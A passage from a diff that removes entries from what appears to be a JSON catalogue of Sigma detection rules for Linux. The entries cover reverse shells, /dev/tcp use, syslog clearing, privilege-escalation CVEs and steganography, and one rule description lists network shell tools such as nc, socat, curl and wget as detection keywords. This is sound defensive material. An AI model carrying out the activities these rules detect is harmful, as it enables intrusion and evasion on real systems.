"https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0", - "value": "Masquerading as Linux Crond Process" - }, - { - "description": "Detects enumeration of local or remote network services.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "lnx_auditd_network_service_scanning.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "3761e026-f259-44e6-8826-719ed8079408", - "value": "Linux Network Service Scanning" - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Legitimate administrator or user uses network sniffing tool for legitimate reasons." - ], - "filename": "lnx_auditd_network_sniffing.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md" - ], - "tags": [ - "attack.credential_access", - "attack.discovery", - "attack.t1040" - ] - }, - "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01", - "value": "Network Sniffing" - }, - { - "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/09/17", - "falsepositive": [ - "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." - ], - "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.t1068", - "attack.t1190", - "attack.t1203" - ] - }, - "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a", - "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand" - }, - { - "description": "Detects password policy discovery commands", - "meta": { - "author": "Ömer Günal, oscd.community, Pawel Mazur", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "lnx_auditd_password_policy_discovery.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://linux.die.net/man/1/chage", - "https://man7.org/linux/man-pages/man1/passwd.1.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", - "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml", - "https://attack.mitre.org/techniques/T1201/" - ], - "tags": [ - "attack.discovery", - "attack.t1201" - ] - }, - "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a", - "value": "Password Policy Discovery" - }, - { - "description": "Detects a reload or a start of a service.", - "meta": { - "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/09/23", - "falsepositive": [ - "Installation of legitimate service.", - "Legitimate reconfiguration of service." - ], - "filename": "lnx_auditd_pers_systemd_reload.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1543/002/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.002" - ] - }, - "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7", - "value": "Systemd Service Reload or Start" - }, - { - "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/21", - "falsepositive": [ - "Legitimate use of screenshot utility" - ], - "filename": "lnx_auditd_screencapture_import.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1113/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml", - "https://imagemagick.org/", - "https://linux.die.net/man/1/import" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ] - }, - "uuid": "dbe4b9c5-c254-4258-9688-d6af0b7967fd", - "value": "Screen Capture with Import Tool" - }, - { - "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/13", - "falsepositive": [ - "Legitimate use of screenshot utility" - ], - "filename": "lnx_auditd_screencaputre_xwd.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1113/", - "https://linux.die.net/man/1/xwd", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ] - }, - "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c", - "value": "Screen Capture with Xwd" - }, - { - "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", - "meta": { - "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "lnx_auditd_split_file_into_pieces.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md" - ], - "tags": [ - "attack.exfiltration", - "attack.t1030" - ] - }, - "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769", - "value": "Split A File Into Pieces" - }, - { - "description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/11", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_steghide_embed_steganography.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", - "https://attack.mitre.org/techniques/T1027/003/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ] - }, - "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280", - "value": "Steganography Hide Files with Steghide" - }, - { - "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/11", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_steghide_extract_steganography.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml", - "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", - "https://attack.mitre.org/techniques/T1027/003/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ] - }, - "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b", - "value": "Steganography Extract Files with Steghide" - }, - { - "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", - "meta": { - "author": "Marie Euler", - "creation_date": "2020/05/18", - "falsepositive": [ - "Admin or User activity" - ], - "filename": "lnx_auditd_susp_c2_commands.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml", - "https://github.com/Neo23x0/auditd" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", - "value": "Suspicious C2 Activities" - }, - { - "description": "Detects relevant commands often related to malware or hacking activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/12/12", - "falsepositive": [ - "Admin activity" - ], - "filename": "lnx_auditd_susp_cmds.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml", - "Internal Research - mostly derived from exploit code including code in MSF" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ] - }, - "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825", - "value": "Suspicious Commands Linux" - }, - { - "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/01/23", - "falsepositive": [ - "Admin activity (especially in /tmp folders)", - "Crazy web applications" - ], - "filename": "lnx_auditd_susp_exe_folders.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml", - "Internal Research" - ], - "tags": [ - "attack.t1587", - "attack.t1584", - "attack.resource_development" - ] - }, - "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc", - "value": "Program Executions in Suspicious Folders" - }, - { - "description": "Detects commandline operations on shell history files", - "meta": { - "author": "Mikhail Larin, oscd.community", - "creation_date": "2020/10/17", - "falsepositive": [ - "Legitimate administrative activity", - "Legitimate software, cleaning hist file" - ], - "filename": "lnx_auditd_susp_histfile_operations.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.003" - ] - }, - "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910", - "value": "Suspicious History File Operations" - }, - { - "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2022/02/03", - "falsepositive": [ - "Admin work like legit service installs." - ], - "filename": "lnx_auditd_systemd_service_creation.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1543/002/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md" - ], - "tags": [ - "attack.persistence", - "attack.t1543.002" - ] - }, - "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485", - "value": "Systemd Service Creation" - }, - { - "description": "Detects System Information Discovery commands", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/03", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "lnx_auditd_system_info_discovery.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1082/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71", - "value": "System Information Discovery" - }, - { - "description": "Detects system information discovery commands", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "lnx_auditd_system_info_discovery2.yml", - "level": "informational", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f", - "value": "System Information Discovery" - }, - { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", - "meta": { - "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "lnx_auditd_system_shutdown_reboot.yml", - "level": "informational", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ] - }, - "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f", - "value": "System Shutdown/Reboot" - }, - { - "description": "Detects extracting of zip file from image file", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2021/09/09", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml", - "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", - "https://attack.mitre.org/techniques/T1027/003/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ] - }, - "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca", - "value": "Steganography Unzip Hidden Information From Picture File" - }, - { - "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Admin activity" - ], - "filename": "lnx_auditd_user_discovery.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3", - "value": "System Owner or User Discovery" - }, - { - "description": "Detects possible command execution by web application/web shell", - "meta": { - "author": "Ilyas Ochkov, Beyu Denis, oscd.community", - "creation_date": "2019/10/12", - "falsepositive": [ - "Admin activity", - "Crazy web applications" - ], - "filename": "lnx_auditd_web_rce.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml", - "personal experience" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222", - "value": "Webshell Remote Command Execution" - }, - { - "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/04/09", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_apt_equationgroup_lnx.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml" - ], - "tags": [ - "attack.execution", - "attack.g0020", - "attack.t1059.004" - ] - }, - "uuid": "41e5c73d-9983-4b69-bd03-e13b67e9623c", - "value": "Equation Group Indicators" - }, - { - "description": "Detects buffer overflow attempts in Unix system log files", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/01", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_buffer_overflows.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml" - ], - "tags": [ - "attack.t1068", - "attack.privilege_escalation" - ] - }, - "uuid": "18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781", - "value": "Buffer Overflow Attempts" - }, - { - "description": "Detects specific commands commonly used to remove or empty the syslog", - "meta": { - "author": "Max Altgelt", - "creation_date": "2021/09/10", - "falsepositive": [ - "Log rotation" - ], - "filename": "lnx_clear_syslog.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565.001" - ] - }, - "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3", - "value": "Commands to Clear or Remove the Syslog" - }, - { - "description": "Detects suspicious modification of crontab file.", - "meta": { - "author": "Pawel Mazur", - "creation_date": "2022/04/16", - "falsepositive": [ - "Legitimate modification of crontab" - ], - "filename": "lnx_crontab_file_modification.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_crontab_file_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.003" - ] - }, - "uuid": "af202fd3-7bff-4212-a25a-fb34606cfcbe", - "value": "Modifying Crontab" - }, - { - "description": "Detects the use of tools that copy files from or to remote systems", - "meta": { - "author": "Ömer Günal", - "creation_date": "2020/06/18", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "lnx_file_copy.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml", - "https://attack.mitre.org/techniques/T1105/" - ], - "tags": [ - "attack.command_and_control", - "attack.lateral_movement", - "attack.t1105" - ] - }, - "uuid": "7a14080d-a048-4de8-ae58-604ce58a795b", - "value": "Remote File Copy" - }, - { - "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/05/05", - "falsepositive": [ - "Rare temporary workaround for library misconfiguration" - ], - "filename": "lnx_ldso_preload_injection.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://man7.org/linux/man-pages/man8/ld.so.8.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.006" - ] - }, - "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684", - "value": "Code Injection by ld.so Preload" - }, - { - "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2022/05/04", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml", - "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", - "https://github.com/Immersive-Labs-Sec/nimbuspwn" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "7ba05b43-adad-4c02-b5e9-c8c35cdf9fa8", - "value": "Nimbuspwn Exploitation" - }, - { - "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", - "meta": { - "author": "Sreeman", - "creation_date": "2022/01/26", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_pwnkit_local_privilege_escalation.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml", - "https://twitter.com/wdormann/status/1486161836961579020" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.001" - ] - }, - "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9", - "value": "PwnKit Local Privilege Escalation" - }, - { - "description": "Detects shellshock expressions in log files", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/14", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_shellshock.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml", - "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "c67e0c98-4d39-46ee-8f6b-437ebf6b950e", - "value": "Shellshock Expression" - }, - { - "description": "Clear command history in linux which is used for defense evasion.", - "meta": { - "author": "Patrick Bareiss", - "creation_date": "2019/03/24", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_shell_clear_cmd_history.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml", - "https://attack.mitre.org/techniques/T1070/003/", - "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ] - }, - "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e", - "value": "Clear Command History" - }, - { - "description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", - "meta": { - "author": "Patrick Bareiss", - "creation_date": "2019/04/05", - "falsepositive": [ - "Troubleshooting on Linux Machines" - ], - "filename": "lnx_shell_priv_esc_prep.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", - "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", - "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ] - }, - "uuid": "444ade84-c362-4260-b1f3-e45e20e1a905", - "value": "Privilege Escalation Preparation" - }, - { - "description": "Detects suspicious shell commands used in various exploit codes (see references)", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/08/21", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_shell_susp_commands.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", - "https://artkond.com/2017/03/23/pivoting-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml", - "http://pastebin.com/FtygZ1cg", - "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ] - }, - "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695", - "value": "Suspicious Activity in Shell Commands" - }, - { - "description": "Detects suspicious log entries in Linux log files", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/25", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_shell_susp_log_entries.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1", - "value": "Suspicious Log Entries" - }, - { - "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/04/02", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_shell_susp_rev_shells.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://alamot.github.io/reverse_shells/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ] - }, - "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab", - "value": "Suspicious Reverse Shell Command Line" - }, - { - "description": "Detects space after filename", - "meta": { - "author": "Ömer Günal", - "creation_date": "2020/06/17", - "falsepositive": [ - "Typos" - ], - "filename": "lnx_space_after_filename_.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://attack.mitre.org/techniques/T1064", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7", - "value": "Space After Filename" - }, - { - "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/15", - "falsepositive": [ - "Unlikely" - ], - "filename": "lnx_sudo_cve_2019_14287_user.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://access.redhat.com/security/cve/cve-2019-14287", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml", - "https://www.openwall.com/lists/oss-security/2019/10/14/1", - "https://twitter.com/matthieugarin/status/1183970598210412546" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.t1548.003", - "cve.2019.14287" - ] - }, - "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858", - "value": "Sudo Privilege Escalation CVE-2019-14287" - }, - { - "description": "Detects suspicious command with /dev/tcp", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_susp_dev_tcp.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://book.hacktricks.xyz/shells/shells/linux", - "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" - ], - "tags": [ - "attack.reconnaissance" - ] - }, - "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c", - "value": "Suspicious Use of /dev/tcp" - }, - { - "description": "Detects suspicious command sequence that JexBoss", - "meta": { - "author": "Florian Roth", - "creation_date": 